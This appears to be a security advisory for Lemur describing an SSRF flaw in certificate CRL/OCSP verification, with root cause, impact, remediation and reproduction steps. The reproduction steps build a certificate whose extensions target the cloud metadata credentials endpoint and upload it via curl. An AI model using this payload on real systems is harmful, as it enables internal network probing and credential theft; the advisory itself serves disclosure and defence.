+ "details": "## Summary\n \nWhen verifying an uploaded certificate, `lemur/certificates/verify.py` extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by `StrictRolePermission` on `POST /certificates/upload`) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.\n \n## Root Cause\n \n`lemur/certificates/verify.py`, `crl_verify`:\n \n```python\npoint = p.full_name[0].value # URL from CDP extension of uploaded cert\n...\nresponse = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filter\n```\n \n`lemur/certificates/verify.py`, `ocsp_verify`:\n \n```python\ncommand = [\"openssl\", \"x509\", \"-noout\", \"-ocsp_uri\", \"-in\", cert_path]\np1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)\nurl, _ = p1.communicate()\np2 = subprocess.Popen(\n [\"openssl\", \"ocsp\", \"-issuer\", issuer_chain_path, \"-cert\", cert_path,\n \"-url\", url.strip()], # attacker-controlled URL\n ...\n)\n```\n \nIn both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via `InvalidSchema`, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.\n \n## Affected Endpoints\n \n| Method | Path | Source |\n|---|---|---|\n| POST | /api/1/certificates/upload | `verify_string` → `crl_verify` / `ocsp_verify` |\n \nThe bug additionally surfaces anywhere `verify_string` is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.\n \n## Impact\n \nAn operator-role attacker can:\n \n- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.\n- On EC2 instances without IMDSv2 enforcement, cause requests to `http://169.254.169.254/` and influence downstream behavior of components that parse the response.\n- Pin attacker-controlled CRLs into the unbounded module-level `crl_cache` dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.\nThe operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.\n \n## Remediation\n \nFilter the URL before it reaches the network sink. Either:\n \n1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., `LEMUR_TRUSTED_CRL_HOSTS` and `LEMUR_TRUSTED_OCSP_HOSTS`) and reject anything outside the list, **or**\n2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.\nFor OCSP, route the parsed URL through the same wrapper before passing it as `-url` to `openssl ocsp`.\n \nAdditionally, bound `crl_cache` (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.\n \n## Steps to Reproduce\n \n1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user `eve`.\n2. Generate a self-signed certificate whose extensions point at internal services:\n ```\n cat > openssl.cnf <<EOF\n [req]\n distinguished_name = req_distinguished_name\n req_extensions = v3_ca\n prompt = no\n \n [req_distinguished_name]\n CN = ssrf-poc.example\n \n [v3_ca]\n crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/\n authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/\n EOF\n \n openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \\\n -days 365 -nodes -config openssl.cnf -extensions v3_ca\n ```\n \n3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:\n ```\n sudo tcpdump -nni any host 169.254.169.254\n ```\n \n4. As `eve`, upload the malicious certificate:\n ```\n BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\\n/\\\\n/g')\n curl -X POST https://lemur.local/api/1/certificates/upload \\\n -H \"Authorization: Bearer <eve_jwt>\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"name\\\": \\\"ssrf-poc\\\",\n \\\"body\\\": \\\"$BODY\\\",\n \\\"chain\\\": \\\"\\\",\n \\\"private_key\\\": \\\"\\\",\n \\\"owner\\\": \\\"eve@example.com\\\"\n }\"\n ```\n \n5. Observe the outbound request to `169.254.169.254` in the tcpdump output. The request originates from the Lemur process during `verify_string` processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.",
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